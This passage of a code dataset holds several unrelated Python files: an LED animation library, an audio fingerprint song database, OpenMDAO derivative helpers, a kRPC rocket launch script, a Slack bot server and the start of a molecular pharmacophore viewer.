float(row) / float(center[1])\n\t\t#\t\tx = float(col) / float(center[0])\n\t\t#\ttime.sleep(sleepTime)\n\t\tcol = len(matrix[0])-1\n\t\tfor row in xrange(height):\n\t\t\tself.blackout(False)\n\t\t\tself.drawLine(matrix,row,col)\n\n\t\trow = len(matrix)-1\n\t\tfor col in xrange(width-1,-1,-1):\n\t\t\tself.blackout(False)\n\t\t\tself.drawLine(matrix,row,col)\n\n\t\tcol = 0\n\t\tfor row in xrange(height-1,-1,-1):\n\t\t\tself.blackout(False)\n\t\t\tself.drawLine(matrix,row,col)\n\n\t\trow = 0\n\t\tfor col in xrange(width):\n\t\t\tself.blackout(False)\n\t\t\tself.drawLine(matrix,row,col)\n\n\tdef drawLine(self,matrix,row,col):\n\t\theight = len(matrix)\n\t\twidth = max(len(row) for row in matrix)\n\t\tcenter = (int(width/2), int(height/2))\n\t\tpoints = self.get_line((row, col), center)\n\t\tself.draw_points(matrix,points,'WHITE')\n\t\tself.update()\n\t\ttime.sleep(0.25)\n\n\tdef draw_points(self, matrix, points, color):\n\t\tfor point in points:\n\t\t\tif matrix[point[0]][point[1]] > -1:\n\t\t\t\tself.PIXELS[matrix[point[0]][point[1]]] = 'WHITE'\n\n\tdef get_line(self, start, end):\n\t\t\"\"\"Bresenham's Line Algorithm\n\t\tProduces a list of tuples from start and end\n\t \n\t\t>>> points1 = get_line((0, 0), (3, 4))\n\t\t>>> points2 = get_line((3, 4), (0, 0))\n\t\t>>> assert(set(points1) == set(points2))\n\t\t>>> print points1\n\t\t[(0, 0), (1, 1), (1, 2), (2, 3), (3, 4)]\n\t\t>>> print points2\n\t\t[(3, 4), (2, 3), (1, 2), (1, 1), (0, 0)]\n\t\t\"\"\"\n\t\t# Setup initial conditions\n\t\tx1, y1 = start\n\t\tx2, y2 = end\n\t\tdx = x2 - x1\n\t\tdy = y2 - y1\n\t \n\t\t# Determine how steep the line is\n\t\tis_steep = abs(dy) > abs(dx)\n\t \n\t\t# Rotate line\n\t\tif is_steep:\n\t\t\tx1, y1 = y1, x1\n\t\t\tx2, y2 = y2, x2\n\t \n\t\t# Swap start and end points if necessary and store swap state\n\t\tswapped = False\n\t\tif x1 > x2:\n\t\t\tx1, x2 = x2, x1\n\t\t\ty1, y2 = y2, y1\n\t\t\tswapped = True\n\t \n\t\t# Recalculate differentials\n\t\tdx = x2 - x1\n\t\tdy = y2 - y1\n\t \n\t\t# Calculate error\n\t\terror = int(dx / 2.0)\n\t\tystep = 1 if y1 < y2 else -1\n\t \n\t\t# Iterate over bounding box generating points between start and end\n\t\ty = y1\n\t\tpoints = []\n\t\tfor x in range(x1, x2 + 1):\n\t\t\tcoord = (y, x) if is_steep else (x, y)\n\t\t\tpoints.append(coord)\n\t\t\terror -= abs(dy)\n\t\t\tif error < 0:\n\t\t\t\ty += ystep\n\t\t\t\terror += dx\n\t \n\t\t# Reverse the list if the coordinates were swapped\n\t\tif swapped:\n\t\t\tpoints.reverse()\n\t\treturn points\n\n\tdef wipe(self,matrix,direction=None):\n\t\t\"\"\"\n\t\tdirections:\n\t\t\t0 = top down\n\t\t\t1 = right\n\t\t\t2 = bottom\n\t\t\t3 = left\n\t\t\"\"\"\n\t\tpauseTime = 0.25\n\t\tif not direction:\n\t\t\tdirection = random.randrange(4)\n\t\tprint('direction ' + str(direction))\n\t\theight = len(matrix)\n\t\twidth = max(len(row) for row in matrix)\n\t\tif direction == 0:\n\t\t\tfor row in xrange(height):\n\t\t\t\tfor col in xrange(width):\n\t\t\t\t\tif matrix[row][col] != -1:\n\t\t\t\t\t\tself.PIXELS[matrix[row][col]] = 'WHITE'\n\t\t\t\tself.update(True)\n\t\t\t\ttime.sleep(pauseTime)\n\t\tif direction == 1:\n\t\t\tfor col in xrange(width-1,-1,-1):\n\t\t\t\tfor row in xrange(height):\n\t\t\t\t\tif matrix[row][col] != -1:\n\t\t\t\t\t\tself.PIXELS[matrix[row][col]] = 'WHITE'\n\t\t\t\tself.update(True)\n\t\t\t\ttime.sleep(pauseTime)\n\t\tif direction == 2:\n\t\t\tfor row in xrange(height-1,-1,-1):\n\t\t\t\tfor col in xrange(width):\n\t\t\t\t\tif matrix[row][col] != -1:\n\t\t\t\t\t\tself.PIXELS[matrix[row][col]] = 'WHITE'\n\t\t\t\tself.update(True)\n\t\t\t\ttime.sleep(pauseTime)\n\t\tif direction == 3:\n\t\t\tfor col in xrange(width):\n\t\t\t\tfor row in xrange(height):\n\t\t\t\t\tif matrix[row][col] != -1:\n\t\t\t\t\t\tself.PIXELS[matrix[row][col]] = 'WHITE'\n\t\t\t\tself.update(True)\n\t\t\t\ttime.sleep(pauseTime)\n\n\tdef fill_solid(self,color):\n\t\t\"\"\"Provide a tuple and get a list of values filled with that color\"\"\"\n\t\tif not isinstance(color,basestring):\n\t\t\tcolor = [list(color) for _ in xrange(self.NUM_LEDS)]\n\t\telse:\n\t\t\tcolor = [color for _ in xrange(self.NUM_LEDS)]\n\t\treturn color\n\n\t#def update(self,hardupdate=False):\n\t#\ttmp_pixel = copy.deepcopy(self.PIXELS)\n\t#\tfor pixel in xrange(len(self.PIXELS)):\n\t#\t\ttmp_pixel[pixel] = self.fix_colors(self.PIXELS[pixel])\n\t#\tif hardupdate:\n\t#\t\t#self.client.put_pixels(self.fill_solid(self.COLOR['BLACK']))\n\t#\t\tself.client.put_pixels(tmp_pixel)\n\t#\tself.client.put_pixels(tmp_pixel,self.CHANNEL)\n\tdef update(self,hardupdate=False):\n\t\tself.PIXELS = self.fix_pixels()\n\t\tif hardupdate:\n\t\t\tself.client.put_pixels(self.PIXELS)\n\t\tself.client.put_pixels(self.PIXELS,self.CHANNEL)\n\n\tdef fix_pixels(self,tmp_pixel=None):\n\t\tif tmp_pixel == None:\n\t\t\ttmp_pixel = copy.deepcopy(self.PIXELS)\n\t\tfor pixel in xrange(len(tmp_pixel)):\n\t\t\ttmp_pixel[pixel] = self.fix_colors(tmp_pixel[pixel])\n\t\treturn tmp_pixel\n\n\tdef hexToDec(self,color):\n\t\tif len(color) == 3:\n\t\t\t# Convert 3 digit hex to 3 tuples\n\t\t\tcolor = tuple(((int(val,16) + 1) * 16)-1 for val in color)\n\t\telif len(color) == 6:\n\t\t\tcolor = (color[0:2],color[2:4],color[4:6])\n\t\t\tcolor = tuple(int(val,16) for val in color)\n\t\telse:\n\t\t\traise ValueError('Invalid input color value')\n\t\treturn color\n\n\tdef fix_colors(self,incolor):\n\t\tif incolor in self.COLOR:\n\t\t\tincolor = self.COLOR[incolor]\n\t\tif isinstance(incolor,basestring):\n\t\t\tif incolor[0] == '#':\n\t\t\t\tincolor = self.hexToDec(incolor[1:])\n\t\t\telse:\n\t\t\t\traise ValueError('Invalid input color value ({})'.format(repr(incolor)))\n\t\toutcolor = tuple(int(incolor[val] * self.BRIGHTNESS) for val in xrange(3))\n\t\n\t\treturn(outcolor)\n\n\tdef addGlitter(self,chance=80):\n\t\tif chance < 1:\n\t\t\tchance *= 100\n\n\tdef blackout(self,draw=None):\n\t\tif draw == None:\n\t\t\tdraw = True\n\t\tself.PIXELS = self.fill_solid('BLACK')\n\t\tif draw == True:\n\t\t\tself.update()\n\t\t\tself.update()\n\n\tdef rand(self,*args):\n\t\tminrange=0\n\t\tif len(args) == 1:\n\t\t\tmaxrange=args[0]\n\t\telif len(args) == 2:\n\t\t\tminrange,maxrange=args\n\t\treturn random.randrange(minrange,maxrange)\n\n\tdef rand_leds(self,number,maxnum=NUM_LEDS):\n\t\t\"\"\"\n\t\tChooses <number> of random LEDs maxing out at <maxnum>.\n\t\t<maxnum> defaults to self.NUM_LEDS.\n\t\t\"\"\"\n\t\tif maxnum == -1:\n\t\t\tmaxnum = self.NUM_LEDS\n\t\trand_list = []\n\t\tnumber += 1\n\t\tfor x in xrange(number):\n\t\t\trand_number = random.randrange(maxnum)\n\t\t\tif rand_number in rand_list:\n\t\t\t\tx -= 1\n\t\t\telse:\n\t\t\t\trand_list.append(rand_number)\n\t\treturn rand_list\n\n\tdef add_glitter(self):\n\t\tif self.rand(100) < self.CHANCE_GLITTER:\n\t\t\trand_list = self.rand_leds(10)\n\t\t\tfor x in xrange(len(rand_list)):\n\t\t\t\twhitevalue = 127\n\t\t\t\tself.PIXELS[rand_list[x]] = [whitevalue * self.BRIGHTNESS,whitevalue * self.BRIGHTNESS,whitevalue * self.BRIGHTNESS]\n\n\tdef build_confetti(self):\n\t\tfps = 30\n\t\tduration = 0.1\n\t\tsteps = duration * fps\n\t\tendcolor = 'BLACK'\n\t\tif self.rand(100) < self.CHANCE_CONFETTI:\n\t\t\trand_list = self.rand_leds(self.CONFETTI_AMOUNT)\n\t\t\trand_colors = []\n\t\t\tfor x in xrange(len(rand_list)):\n\t\t\t\trand_colors.append(self.PREDEFINED_COLORS[random.randrange(len(self.PREDEFINED_COLORS))])\n\t\t\tfor step in xrange(int(steps)):\n\t\t\t\tpercentage = step / steps\n\t\t\t\tfor x in xrange(len(rand_list)):\n\t\t\t\t\tfor color in xrange(3):\n\t\t\t\t\t\tnewcolor = int(rand_colors[x][color] + ((endcolor[color] - rand_colors[x][color]) * percentage)) * self.BRIGHTNESS\n\n\t\t\t\t\t\t#print(repr(self.PIXELS))\n\t\t\t\t\t\tself.PIXELS[rand_list[x]][color] = newcolor\n\t\t\t\t\t\t#self.PIXELS[23][color] = newcolor\n\t\t\t\t\t\t#print(self.PIXELS[23])\n\t\t\t\t\t\t#print(rand_list[x])\n\t\t\t\t\t\t#print('rand_list[x] = {} - self.PIXELS[rand_list[x]] = {} - color = {}'.format(rand_list[x],self.PIXELS[rand_list[x]],color))\n\t\t\t\t\t\t#time.sleep(2)\n\t\t\t\tself.update()\n\t\t\t\ttime.sleep(1/fps)\n\n\tdef hsv(self,hsv):\n\t\t\"\"\" Takes triple of H, S, V format where H = 0-359, S = 0-99, V = 0-99 \"\"\"\n\t\thsv = [val for val in hsv]\n\t\tif hsv[2] == 0:\n\t\t\t# 0 value is black.  Processing is pointless\n\t\t\treturn (0,0,0)\n\t\tif hsv[0] > 359:\n\t\t\t# hue has 359 max\n\t\t\thsv[0] = 359\n\t\tif hsv[1] > 99:\n\t\t\t# saturation has 99 max\n\t\t\thsv[1] = 99\n\t\tif hsv[2] > 99:\n\t\t\t# Value has 99 max\n\t\t\thsv[2] = 99\n\t\tfor x in xrange(3):\n\t\t\tif hsv[x] < 0:\n\t\t\t\thsv[x] = 0\n\t\thsv = (float(hsv[0] / 360),float(hsv[1] / 100),float(hsv[2] / 100))\n\t\treturn tuple(int(val * 255) for val in colorsys.hsv_to_rgb(*hsv))\n\n\tdef fill_rainbow(self):\n\t\t#tmp_pixel = copy.deepcopy(self.PIXELS)\n\t\tdeltahue=10\n\t\tdeltahueAdj = deltahue\n\t\tsaturation = 100\n\t\tvalue = 100 * self.BRIGHTNESS\n\t\thue = 0\n\t\tstarthue = 0\n\t\trunVar = 0\n\t\twhile runVar < 5:\n\t\t\thue = starthue\n\t\t\tfor led in xrange(self.NUM_LEDS):\n\t\t\t\t#print(hue, saturation, value)\n\t\t\t\t#print(self.hsv2rgb((hue,saturation,value)))\n\t\t\t\tself.PIXELS[led] = self.hsv((hue,saturation,value))\n\t\t\t\thue += deltahue\n\t\t\t\twhile hue >= 360:\n\t\t\t\t\thue -= 360\n\t\t\t\t\tif led == 0:\n\t\t\t\t\t\trunVar += 1\n\t\t\tstarthue += 5\n\t\t\twhile starthue > 360:\n\t\t\t\tstarthue -= 360\n\t\t\tself.update()\n\t\t\ttime.sleep(0.1)\n\t\t#return tmp_pixel\n\n\t#def roll(self, season):\n\t#\tif season not in self.THEME:\n\t#\t\treturn None\n\t#\ttemplate = []\n\t#\tcount = 0\n\t#\ttry:\n\t#\t\tfor a in xrange(self.NUM_LEDS):\n\t#\t\t\tfor color in self.THEME[season]:\n\t#\t\t\t\ttemplate.append(color)\n\t#\t\t\t\tcount += 1\n\t#\t\t\t\tif count >= NUM_LEDS:\n\t#\t\t\t\t\traise BreakIt\n\t#\texcept BreakIt:\n\t#\t\tpass\n\t#\t#start roll\n\t#\twhile True:\n\t#\t\tcurrentColors = []\n\t#\t\toffset += 1\n\t#\t\tif offset >= len(self.THEME[season]):\n\t#\t\t\toffset -= len(self.THEME[season])\n\t#\t\tfor a in xrange(len(self.THEME[season])):\n\t\t\t\t\n\n\tdef transition2(self, pixels2, **kwargs):\n\t\tduration = 2\n\t\tif 'duration' in kwargs:\n\t\t\tduration = kwargs['duration']\n\t\tfps = 30\n\t\tsleeptime = float(1/fps)\n\t\tuseglitter = False\n\t\tuseconfetti = False\n\t\tpixels1 = copy.deepcopy(self.PIXELS)\n\t\tpixels1 = self.fix_pixels(pixels1)\n\t\tpixels2 = self.fix_pixels(pixels2)\n\t\tpixels3 = []\n\t\tif 'GLITTER' in kwargs:\n\t\t\tif kwargs['GLITTER'] == True:\n\t\t\t\tuseglitter = True\n\t\tif 'CONFETTI' in kwargs:\n\t\t\tif kwargs['CONFETTI'] == True:\n\t\t\t\tuseconfetti = True\n\t\tsteps = int(math.ceil(duration * fps))\n\t\tfor step in xrange(steps):\n\t\t\tpercentage = step / steps\n\t\t\tfor dot in xrange(self.NUM_LEDS):\n\t\t\t\tfor color in xrange(3):\n\t\t\t\t\tself.PIXELS[dot] = tuple(int(pixels1[dot][color] + ((pixels2[dot][color] - pixels1[dot][color]) * percentage)) for color in xrange(3))\n\t\t\tif useglitter:\n\t\t\t\tself.add_glitter()\n\t\t\tif useconfetti:\n\t\t\t\tself.add_confetti()\n\t\t\tself.update()\n\t\t\ttime.sleep(sleeptime)\n\n\tdef transition(self,startcolor,endcolor,**kwargs):\n\t\tuseglitter = False\n\t\tuseconfetti = False\n\t\tduration = 5\n\t\tif 'GLITTER' in kwargs:\n\t\t\tif kwargs['GLITTER'] == True:\n\t\t\t\tuseglitter = True\n\t\tif 'CONFETTI' in kwargs:\n\t\t\tif kwargs['CONFETTI'] == True:\n\t\t\t\tuseconfetti = True\n\t\tif 'DURATION' in kwargs:\n\t\t\tduration = kwargs['DURATION']\n\t\tfps = 30\n\t\tsteps = duration * fps\n\t\ttrancolor = [0,0,0]\n\t\tfor step in xrange(steps):\n\t\t\tpercentage = step / steps\n\t\t\tfor color in xrange(3):\n\t\t\t\ttrancolor[color] = int(startcolor[color] + ((endcolor[color] - startcolor[color]) * percentage))\n\t\t\tself.fill_solid(trancolor)\n\t\t\tif useglitter:\n\t\t\t\tself.add_glitter()\n\t\t\tif useconfetti:\n\t\t\t\tself.build_confetti()\n\t\t\tself.update()\n\t\t\ttime.sleep(1/fps)\n\t\treturn endcolor\n\n\tdef fill_random_maxhsv(self):\n\t\tpixels = []\n\t\tfor dot in xrange(self.NUM_LEDS):\n\t\t\tpixels.append(self.hsv((random.randrange(360),100,100)))\n\t\treturn pixels\n\n\tdef theme(self,season):\n\t\toutcolor = []\n\t\tif season not in self.THEME:\n\t\t\treturn None\n\t\tfor color in xrange(self.NUM_LEDS):\n\t\t\toutcolor.append(self.THEME[season][random.randrange(len(self.THEME[season]))])\n\t\treturn outcolor\n\n\ndef main():\n\tfc1 = FadeLIB(LED_ORDER='grb',BRIGHTNESS=0.3)\n\tfc.PIXELS = fc.fill_rainbow()\n\t#time.sleep(10)\n\tfc.PIXELS = fc.fill_random_maxhsv()\n\tpixels = fc.fill_solid(fc.hsv((random.randrange(360),100,100)))\n\twhile True:\n\t\tfc.transition2(pixels,DURATION=1)\n\t\tpixels = fc.fill_random_maxhsv()\n\t\tfc.transition2(pixels,DURATION=1)\n\t\tpixels = fc.fill_solid((fc.hsv((random.randrange(360),100,100))))\n\n\t\"\"\"for var in xrange(1):\n\t\tprint('Transition2 ' + str(var))\n\t\tpixels = fc.fill_random_maxhsv()\n\t\tfc.transition2(pixels, DURATION=1)\"\"\"\n\t\"\"\"while True:\n\t\tglitterValue=False\n\t\tconfettiValue=False\n\t\tfc.transition(fc.COLOR['RED'],fc.COLOR['ORANGE'],CONFETTI=confettiValue,GLITTER=glitterValue,DURATION=1)\n\t\tfc.transition(fc.COLOR['ORANGE'],fc.COLOR['YELLOW'],CONFETTI=confettiValue,GLITTER=glitterValue,DURATION=1)\n\t\tfc.transition(fc.COLOR['YELLOW'],fc.COLOR['GREEN'],CONFETTI=confettiValue,GLITTER=glitterValue,DURATION=1)\n\t\tfc.transition(fc.COLOR['GREEN'],fc.COLOR['BLUE'],CONFETTI=confettiValue,GLITTER=glitterValue,DURATION=1)\n\t\tfc.transition(fc.COLOR['BLUE'],fc.COLOR['MAGENTA'],CONFETTI=confettiValue,GLITTER=glitterValue,DURATION=1)\n\t\tfc.transition(fc.COLOR['MAGENTA'],fc.COLOR['RED'],CONFETTI=confettiValue,GLITTER=glitterValue,DURATION=1)\"\"\"\n\tfc.blackout()\n\nif __name__ == '__main__':\n\ttry:\n\t\tmain()\n\texcept KeyboardInterrupt:\n\t\t#e = sys.exc_info()\n\t\t#print(repr(e))\n\t\tprint('\\nKeyboardInterrupt caught.')\n\t\tfc = FadeLIB()\n\t\tfc.blackout()\n","sub_path":"fadelib/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":14545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"473744431","text":"import pickle\nfrom pathlib import Path\nimport utils\n\n\nclass SongDatabase:\n    \"\"\"A database that stores 'fingerprints' of songs\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"Initializes a song database\n        \"\"\"\n        # fingerprints is a dict with fingerprints as the key\n        # and songs as the values\n        self.fingerprints = {}\n        # songs contains a list of songs\n        self.songs = []\n\n    def store_song(self, song_name, recording_method):\n        \"\"\"\n        takes a song, generates the fingerprints, adds all this to the respective dict/list\n        Parameters\n        ----------\n            song_name : str\n                name of song the fingerprints are taken from\n            recording_method : int (1, 2)\n                user's choice for method of recording; 1 for mic, 2 for mp3\n        \"\"\"\n        self.songs.append(song_name)\n        song_id = self.songs.index(song_name)\n\n        if recording_method == 1:\n            time = input(\"Enter the length of the song\")\n            time = int(time)\n            audio = utils.mic_to_samples(time)\n        else:\n            path = input(\"Enter the path of the mp3 file\")\n            audio = utils.mp3_to_samples(path)\n\n        fingerprints = utils.spectrogram_to_fingerprint(audio)\n\n        for (fm, fn, dt), t_abs in fingerprints:\n            if (fm, fn, dt) not in self.fingerprints:\n                self.fingerprints[(fm, fn, dt)] = [(song_id, t_abs)]\n            else:\n                self.fingerprints[(fm, fn, dt)].append((song_id, t_abs))\n\n    def query_song(self, recording_method):\n        \"\"\"\n        takes in recording_method (either mic or mp3), gets fingerprint sequence for the queried song, returns song name\n        Parameters\n        ----------\n            recording_method : int (1, 2)\n                user's choice for method of recording; 1 for mic, 2 for mp3\n        Returns\n        -------\n            song_ID : str\n                ID of song with the highest tally (most closely matches fingerprint)\n        \"\"\"\n        threshold_success = 50  # song must have at least 50 tallies to be a success\n        threshold_percentage = 0.75  # song must have 75% of total tallies\n\n        if recording_method == 1:\n            time = input(\"Enter the length of the song\")\n            time = int(time)\n\n            audio = utils.mic_to_samples(time)\n        else:\n            path = input(\"Enter the path of the mp3 file\")\n            audio = utils.mp3_to_samples(path)\n\n        q_fingerprints = utils.spectrogram_to_fingerprint(audio)\n        tally = dict()\n\n        for (fm, fn, dt), t_rel in q_fingerprints:\n            if (fm, fn, dt) in self.fingerprints:\n                poss_songs = self.fingerprints[(fm, fn, dt)]\n                for song_id, t_abs in poss_songs:\n                    t_offset = t_abs - t_rel\n                    tally[(song_id, t_offset)] = tally.get((song_id, t_offset), 0) + 1\n            else:\n                return 'not in database'\n\n        # sorted_tally is a list of tuples in order of tallies, from greatest to least [( (songID, t_off), tally ), ...]\n        # sorted_tally[0][0][0] gives the song ID of the song w greatest # of tallies\n        # pass this to self.songs to retrieve the song name\n        sorted_tally = sorted(tally.items(), key=lambda kv: kv[1], reverse=True)\n        total_tallies = sum(tally.values())\n        greatest_tally = sorted_tally[0][-1]\n        print(greatest_tally)\n        second_greatest_tally = sorted_tally[1][-1]\n        print(second_greatest_tally)\n        print(sorted_tally[:10])\n\n        if greatest_tally >= threshold_success and greatest_tally > second_greatest_tally * 10:\n            return self.songs[sorted_tally[0][0][0]]\n        else:\n            return 'did not meet threshold of successful classification'\n\n    def load_database(self, path):\n        \"\"\"\n        takes in the path of the database, and returns loaded database\n        ----------\n            path: String\n                The path of the database\n        Returns\n        -------\n            database : Dict\n                ID of song with the highest tally (most closely matches fingerprint)\n        \"\"\"\n        # loads dictionary/database of songs\n        path = Path(path)\n        with open(path, mode=\"rb\") as opened_file:\n            return pickle.load(opened_file)\n\n        return 'file does not exist'\n\n    def save_database(self, filename):\n        \"\"\"\n        takes in the name of file you want to save to, pickles the database object and saves to that file\n        ----------\n            filename: String\n                the name of the file\n        \"\"\"\n        with open(filename, mode=\"wb\") as opened_file:\n            return pickle.dump(self, opened_file)\n\n        #file = open(filename, 'wb')\n        #pickle.dump(self, file)","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":4773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"215067972","text":"\"\"\" Decorator for drivers that need to take derivatives (either gradients or\n    Hessians) of their workflow. The following delegates are available:\n    \n    UsesGradients - if you need first derivatives\n    \n    UsesHessians  - if you need second derivatives\n    \n    From a driver's perspective, derivatives are needed from its parameters\n    to its objective(s) and constraints.\n\"\"\"\n\n# pylint: disable-msg=E0611,F0401\nfrom openmdao.main.slot import Slot\nfrom openmdao.main.interfaces import IDifferentiator\n\n\nclass UsesDerivatives_Base(object): \n    \"\"\"This class provides an implementation of the derivatives delegates.\"\"\"\n\n    def __init__(self, parent):\n        self._parent = parent\n        \n        parent.add(\"differentiator\", \n                   Slot(IDifferentiator, iotype='in',\n                        desc = \"Slot for a differentiator\"))\n                                                         \n\n    def _list_driver_connections(self):\n        \"\"\"Return a list of inputs and a list of outputs that are referenced by\n        any existing driver Expreval.\"\"\"\n        \n        # for collecting a unique set of referenced varnames from objectives\n        # and constraints\n        varset = set()\n\n        # Objective expressions can contain inputs. These do not need to\n        # be checked, because:\n        # -- if they are physically connected to another comp, they will be\n        #    checked regardless (through fake finite difference or alternative\n        #    means)\n        # -- if they are not connected, their derivative is always 0\n        for delegate in ['_hasobjective', '_hasobjectives']:\n            if hasattr(self._parent, delegate):\n                obj = getattr(self._parent, delegate)\n                varset.update(obj.get_referenced_varpaths())\n                \n        # Constraints can also introduce additional connections.\n        for delegate in ['_hasineqconstraints', '_haseqconstraints', '_hasconstraints']:\n            if hasattr(self._parent, delegate):\n                constraints = getattr(self._parent, delegate)\n                varset.update(constraints.get_referenced_varpaths())\n\n        get_metadata = self._parent.parent.get_metadata\n        \n        # Parameters are all inputs.\n        driver_inputs = self._parent.get_parameters().keys()\n        \n        driver_outputs = [vname for vname in varset \n                          if get_metadata(vname, 'iotype')=='out']\n                        \n        return driver_inputs, list(driver_outputs)\n    \n        \nclass UsesGradients(UsesDerivatives_Base): \n    \"\"\"This class provides an implementation of the UsesGradients interface.\"\"\"\n\n    def check_gradients(self):\n        \"\"\"Run check_derivatives on our workflow.\"\"\"\n        \n        driver_inputs, driver_outputs = self._list_driver_connections()\n        self._parent.workflow.check_derivatives(1, driver_inputs, driver_outputs)     \n        \n        \nclass UsesHessians(UsesDerivatives_Base): \n    \"\"\"This class provides an implementation of the UsesHessians interface.\"\"\"\n\n    def check_hessians(self):\n        \"\"\"Run check_derivatives on our workflow.\"\"\"\n        \n        driver_inputs, driver_outputs = self._list_driver_connections()\n        self._parent.workflow.check_derivatives(2, driver_inputs, driver_outputs)  \n        \n        \n","sub_path":"openmdao.main/src/openmdao/main/uses_derivatives.py","file_name":"uses_derivatives.py","file_ext":"py","file_size_in_byte":3297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"557229141","text":"import krpc\nimport time\n\n# connecting to the server\nconn = krpc.connect(name = 'Peanut Mk.1 Nov1318')\nvessel = conn.space_center.active_vessel\nprint('Connected!')\nprint('Waiting 5 seconds')\ntime.sleep(5)\n\n# Launching the vessel\nprint('Raising Throttle to Max')\nvessel.control.throttle = 1\ntime.sleep(1)\nprint('Launching')\nvessel.control.activate_next_stage()\n\n# Monitor fuel use\nfuel_amount = conn.get_call(vessel.resources.amount,'SolidFuel')\nfuel_condition = conn.krpc.Expression.less_than(\n    conn.krpc.Expression.call(fuel_amount),\n    conn.krpc.Expression.constant_float(.1)\n)\nempty_event = conn.krpc.add_event(fuel_condition)\nwith empty_event.condition:\n    empty_event.wait()\nprint('Shutting down throttle, fuel empty')\n","sub_path":"scripts/sub_Orbital.py","file_name":"sub_Orbital.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"459016602","text":"# ---------------------------- #\r\n#           server             #\r\n# ---------------------------- #\r\nfrom flask import Flask, request, Response\r\nfrom slackeventsapi import SlackEventAdapter\r\nimport os\r\nfrom slack_sdk import WebClient\r\nfrom slack_sdk.errors import SlackApiError\r\nfrom slack_sdk.web import SlackResponse\r\nimport time\r\nimport re\r\nimport data_jsons\r\nfrom config import Config\r\nimport json\r\nfrom client_preferences import ClientPreferences\r\nfrom tasksbuffer import TaskBuffer\r\n\r\n\r\nclient = WebClient(token=os.environ['SLACK_OAUTH_ACCESS_TOKEN'])\r\nBOT_ID = client.api_call(\"auth.test\")['user_id']\r\nclient_preferences = ClientPreferences()\r\ntasksbuffer = TaskBuffer()\r\nclass SlackServer(object):\r\n    app = Flask(__name__)\r\n    slack_event_adapter = SlackEventAdapter(\r\n        Config.SIGNING_SECRET, '/slack/events', app)\r\n\r\n    def __init__(self, token=None):\r\n        print('init slackserver')\r\n\r\n    @app.route('/interactive', methods=['POST'])\r\n    def interactive():\r\n        payload = json.loads(request.form[\"payload\"])\r\n        user_id = payload['user']['id']\r\n        if(BOT_ID != user_id and payload['type'] == 'view_submission'):\r\n            task = payload['view']['state']['values']['my_block']['my_action']['value']\r\n            todolist_update =  tasksbuffer.addTask(task)\r\n            client.chat_postMessage(channel=\"#home-office\", text=todolist_update)\r\n        elif(BOT_ID != user_id and payload['type'] == 'block_actions'):\r\n            try:\r\n                btn_id = client_preferences.update_recommendations_options(\r\n                    request.form['payload'])\r\n                if(btn_id == 'v_deep_focus'):\r\n                    print('btn change')\r\n                    client.chat_postMessage(channel='#home-office', text=\"Hi! :wave: Please remove your phone from the room, since it can distract you from working.\")\r\n                    client.chat_postMessage(channel='#home-office', text=\"It is recommended to start a timer to focus even more: just type 'timer' \")\r\n            except Exception as e:\r\n                return ('', 204)\r\n        return Response()\r\n\r\n    @app.route('/slashcommand', methods=['GET', 'POST'])\r\n    def slashcommand():\r\n        print(request.form[\"trigger_id\"])\r\n        client.views_open(trigger_id=request.form[\"trigger_id\"], view=json.dumps(data_jsons.todo_modal))\r\n        return Response()\r\n\r\n    def send_check_box(self):\r\n        result = client.chat_postMessage(channel='#home-office', text=\"Recommendations\", blocks=data_jsons.recommendations)\r\n\r\n    @slack_event_adapter.on('message')\r\n    def message(payload):\r\n        event = payload.get('event', {})\r\n        channel_id = event.get('channel')\r\n        user_id = event.get('user')\r\n        text = event.get('text')\r\n\r\n        print(' ok?')\r\n\r\n        if(BOT_ID != user_id):\r\n            times_up = True\r\n            if('timer' in text):\r\n                response = 'how long?'\r\n                client.chat_postMessage(channel='#home-office', text=response)\r\n            elif('minutes' in text):\r\n                times_up = False\r\n                print('text: ', text)\r\n                response = 'The timer started!'\r\n                time_in_s = [int(s) for s in re.findall(r'\\b\\d+\\b', text)][0]\r\n\r\n                client.chat_postMessage(channel='#home-office', text=response)\r\n            else:\r\n                print('nothng')","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"258798105","text":"import nglview\nimport mdtraj\nimport matplotlib as mt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tempfile\nimport os\n\ncolor_code={ 'Hydrophobic':        [0.100, 1.000, 0.000],\\\n             'HydrogenAcceptor':   [1.000, 0.84, 0.000],\\\n             'HydrogenDonor':      [1.000, 1.000, 1.000],\\\n             'Aromatic':           [0.627, 0.1254, 0.941],\\\n             'NegativeIon':        [1.00, 0.00, 0.00],\\\n             'PositiveIon':        [0.00, 0.00, 1.00],\\\n             'InclusionSphere':    [0.00, 1.00, 1.00],\\\n             'Other':              [0.74, 0.74, 0.74],\\\n             'PhenylalanineAnalog':[1.0, 1.0, 0.0],\\\n             'LeuValAnalog':       [1.0, 1.0, 0.0] \\\n             }\n# The color for InclusionSphere was given at random\n\ndef get_nglview(pharmacophore,receptor=True,ligand=True,arrow_norm=2.0,arrow_radius=0.2):\n\n    view_with_ligand=False\n    view_with_receptor=False\n\n    tmp_view=nglview.NGLWidget()\n    arrow_norm=np.sqrt(arrow_norm)\n\n\n    if pharmacophore.with_receptor and receptor:\n        view_with_receptor=True\n        tmp_receptor_file = tempfile.NamedTemporaryFile(mode='w+',delete=False,suffix='.pdb')\n        tmp_receptor_file.write(pharmacophore.receptor)\n        tmp_receptor_file.close()\n        rec=tmp_view.add_component(tmp_receptor_file.name)\n        rec.add_line ('protein')\n\n    if pharmacophore.with_ligand and ligand:\n        view_with_ligand=True\n        tmp_ligand_file = tempfile.NamedTemporaryFile(mode='w+',delete=False,suffix='.mol2')\n        tmp_ligand_file.write(pharmacophore.ligand)\n        tmp_ligand_file.close()\n        tmp_view.add_component(tmp_ligand_file.name)\n\n    for point in pharmacophore.points:\n        color=color_code[point.name]\n        